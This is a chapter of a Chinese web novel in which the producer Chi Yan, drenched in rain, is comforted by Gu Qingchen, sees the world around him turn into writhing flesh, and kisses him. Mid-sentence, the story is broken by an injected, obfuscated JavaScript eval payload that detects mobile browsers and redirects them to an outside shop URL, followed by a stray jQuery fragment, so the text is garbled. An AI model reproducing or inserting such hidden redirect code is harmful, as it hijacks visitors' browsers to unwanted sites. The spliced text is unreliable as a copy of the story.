“制作人!你怎么在玩水?”顾清尘着急的话语落入池宴耳中。


    池宴这才发觉自己的身体在雨水的浸湿下开始变得麻木,而自己现在正披着顾清尘的空调外套,被顾清尘拥入怀中,拉到办公室中央不被雨水浸湿的地方。


    池宴缓缓眨了眨眼睛:“你怎么进来的?”


    “现在都什么时候……唉。”顾清尘下意识向让池宴先关心她自己的身体,而不是关系他怎么走进办公室里的,但是池宴全身湿透,脸色苍白的样子让他说不出重话,“刚刚顾助理出去的时候,我看到你……”


    他说到一半,喉头瞬间哽咽到话都说不下去,比起语言上的关心,先到来的是顾清尘的眼泪。


    他的眼泪如同断了线的珍珠,一直流不停。


    而他也不说话,只是睁大眼睛看着池宴,像是担心池宴的情况担心到极致的反应。


    池宴抬起手,冰凉的手指在顾清尘的脸上轻轻擦去他的眼泪,而一丝温暖也从顾清尘的脸皮下传导到池宴的手指尖上,让池宴获得了一些活动的力气。


    但顾清尘眼泪没有因为池宴的动作而止住,反而是更多了。


    他抱住池宴,将脸埋在池宴的颈窝里。


    他的眼泪顺着池宴的衣服缝隙似乎烫伤了池宴的锁骨。


    但池宴知道,这是她失温从错觉。


    她回抱住顾清尘:“都成年人了,玩玩水而已,不要太难过。”


    她这努力装出来的轻松语气并没有安慰到顾清尘,反而让他的面部和肩颈肌肉开始绷紧,像是努力控制着自己不哭出声来。


    池宴并不知道的是,她的脸色可不是成年人玩玩水之后的样子。


    苍白的脸色,搭配着大雨浸湿的头发紧贴在脸上,再加上从皮肤下透出来的一片来自青筋的青黑色,和人说她是拖人替死的水鬼都有人相信。


    无奈之下,池宴只能抱着顾清尘,轻轻拍着他安抚着。


    顾清尘的身体在池宴的轻轻安抚下,仍然处于轻微抖动的状态,甚至有扩大的趋势。


    幸好的是,过了大概五六分钟,顾清尘身体的抖动慢慢减弱,他的眼泪才缓缓止住。


    他还保持着抱着池宴的姿势不动,嗡声问道:“刚刚顾助理都没有制止你吗?”


    “他一个助理,哪里管得着我?”池宴回答道,语气满是对顾助理的不在乎。


    顾清尘被池宴的话堵住话头。


    他又沉默了一会儿,才问道:“那我可以吗?”


    这句极轻的问话在顾清尘口中溜出的一瞬间,就被顾清尘自己否决了。


    他松开抱着池宴的手,退后了一步,抬手擦了擦眼泪,侧头避开池宴,不让池宴看见自己的狼狈。


    他强壮镇定继续问话,但声音中难免带上了一丝刚刚哭过的闷声:“对了,我之前就想问了,怎么会有两个顾助理?这个比之前那个看着大了些,但也没成年,工作起来应该也有所不便。”


    池宴隔着带着水珠的眼睛看着顾清尘强壮镇定的样子。


    他眼圈红了一圈,脸颊也因为刚刚剧烈的哭泣看起来因为缺氧染上了一丝病态的红。


    而他的侧脸还和之前一样……美丽动人。


    池宴眨了眨眼睛,属性面板这才缓缓从顾清尘身上漂浮出来。


    她看着【APP:99】,又看向这金色数值缝隙中的顾清尘的脆弱的侧脸,金光再耀眼,似乎也没有顾清尘的脸耀眼。


    池宴看着他的侧颜入神,思考了一会儿,才回答道:“买一送一,助理可能觉得划算吧。”


    池宴感觉到自己的身体因为刚刚从顾清尘身上吸取到的一些温度而逐渐解禁,她在原地活动了一下手脚,将被打湿的头发抓到耳后才说道:“一个顾助理负责工厂事宜,一个负责星球带事宜,两人定时轮转。”


    “哼哼,不错吧,我也觉得性价比很高!一份工资,两个人。”


    池宴慢慢排走了内心刚刚因见到虫母而变得惊涛骇浪的情绪,她伸出手,比出一个“赞”的手势,在鼻子下一勾,活脱脱一个古灵精怪的玩家形象。


    顾清尘余光看到池宴的活宝样子,虽然内心还因为池宴不顾自己的安慰而感到难过,但心情也总算放松了一点,露出今天进入这个办公室之后的第一个浅浅的笑容。


    见顾清尘笑出来,池宴继续问道:“你这么关心顾助理干什么啊。”


    她靠着办公桌边缘,摘下满是水珠的眼镜,无视掉眼镜带来的警告声,将它随手放在办公桌上,而她的上半身前倾,带着戏谑的笑容问顾清尘:“你该不会是吃醋了吧?”


    随着池宴的主动靠近,顾清尘脸色再一次爆红。


    他想要后倾躲避池宴的靠近,但池宴眼疾手快伸手拦住顾清尘的腰:“躲什么。”


    顾清尘目光闪烁,脸红得仿佛能蒸发掉身上的水:“没躲。”


    与他的话语不符的是,池宴感受到手底下的肌肉的僵硬。


    顾清尘也感受到池宴的手掌的温度,他努力克制着自己的害羞反应,靠近池宴,犹豫了一会儿,却什么都没有说。


    池宴看着他暗淡下来的眼睛,笑着说道:“你吃顾助理什么醋?他们两个又没有你好看。”


    顾清尘的眼睛因为池宴亮了一瞬,但马上又落寞下来。


    他说道:“但是大顾助理现在十三四岁,小顾助理现在五六岁?而我现在已经二十六岁了,十年之后,大顾助理风华正茂,二十年之后,小顾助理风华正茂,而我已经老了、丑了。”


    他抬手捏了捏自己的脸皮:“我没办法做到七八十岁了还是这个样子……那就不是人,是鬼了。”


    “而制作人……”


    顾清尘犹豫了一会儿,屈膝靠近池宴,确保自己微微抬眼能看见池宴:“制作人,你值得最好的。”


    池宴看着顾清尘的动作,听着顾清尘的话语,忍不住大笑出声。


    顾清尘看向池宴的眼神带着不解。


    而池宴抬手抹去自己眼角笑出来的泪花。


    她说道:“法○利老了还是法○利,顾清尘老了还是顾清尘,而顾助理,只是顾助理。”


    “但是我感觉我们应该是一个类型的长相?他们长开了应该……”顾清尘仔细回忆着顾助理的长相,却被池宴直接打断。


    “我和猴子还是同样的人型长相呢,猴子长开了会变成我吗?”池宴满不在乎,“只会是你的。”


    最后半句,池宴看着顾清尘的眉眼,说得很认真。


    顾助理是虫,虫母是虫,这个世界的所有人都是虫。


    虽然不知道为什么,只有这个男人不是虫。


    在池宴的脱掉眼镜的视野中,透过眼前的顾清尘,他背后的所有场景开始异化。


    墙壁、门板等各种物品开始褪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366809|194445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去它们原有的模样,开始变得柔软而又恶心,正如之前顾助理脸上长出的肉触手一样。


    而墙壁、地板、天花板,亦如当初的偶像企划酒店,变得漆黑一片,在黑暗中,似乎有什么未知的东西在其中涌动。


    这些变化都让池宴感到头皮发麻,她下意识想要找灯来照亮这一切,但她发现,灯也变成弯弯曲曲的肉块模样。


    她只能保持着自己的视线定格在眼前的顾清尘身上。


    池宴不知道是什么原因,但是在这情况下,她的左边耳朵开始有阵阵嗡鸣。


    但这嗡鸣不影响她看、听、说。


    顾清尘身上的【APP:99】也不再浮现,她的视野中再也没有各色的属性面板浮现,现在的池宴看到的只是顾清尘。


    她听见自己又重复了一遍:“只会是你的。”


    只要你是人。


    我会不择手段将你带出去。


    只要你是人。


    只要你还是人。


    只要……你还是人。


    池宴在内心中遍遍重复着,而她的大脑也因为这一遍遍的重复,开始感到清明。


    眼前的顾清尘眼中的眼泪终于止住,他重新绽放往日里常有的笑容。


    “嗯。”他伸手,和池宴十指紧扣。


    池宴也慢慢吻住了眼前的男人。


    窗外雷声阵阵,但不影响室内的两个人温存。


    直到两人脸色泛红,这个吻才慢慢结束。


    池宴双手抱住顾清尘,伸手隔着衣服摸着顾清尘的脊椎数量。


    顾清尘在池宴的触碰下,脊背有瞬间僵硬,但没有阻止池宴的动作,他只是将将池宴搂得更紧了一些。


    池宴看着眼前涌动的黑色,慢慢闭上了眼睛,只是用手指感受着顾清尘的脊椎。


    他的脊椎很漂亮,背肌也很漂亮,一摸就是有好好锻炼的、人的脊椎。


    池宴一边感受着,一边问道:“话说回来,三年前你是怎么看到Seasons的发布会的?不是一般来说,男团女团的粉丝大头都是女生吗?难道是……命运?”


    她语气平静,看起来是真的在追忆往昔。


    顾清尘在池宴的询问下,记忆慢慢回溯到三年前见到Seasons制作人站在台上宣布理念的那天:“是命运啊。”


    他的语气感慨:“那年我刚毕业,去商场是想采购一下面试用的服装,没想到正好碰上制作人。”


    “你那时的理念真的太触动我……简直就像我自己的想法,我后来有这个想法的时候都吓了一跳,贫穷的我怎么会是台上的制作人呢?”


    “所以,我们绝对是灵魂知己。”


    “现在的话,说不定是灵魂伴侣?”顾清尘试探性问道,还补充了一些后面的经历遭遇,“还有你在我要离开的时候,给我抛出了最合适的橄榄枝,让我有勇气拒绝老板的邀请,这是不是也是灵魂的吸引?”


    顾清尘说得小心翼翼,还仔细打量着池宴的眼神。


    池宴没有回应顾清尘的期盼,她以开玩笑的口吻说出:“说不定真是一个人。”


    顾清尘不禁失笑:“制作人的玩笑挺有意思的。”


    池宴没说话,只是继续干着自己数脊椎大业。


    她可没说笑。


    而顾清尘的反应,也证实了顾助理所说的事情。


    虫母,好厉害。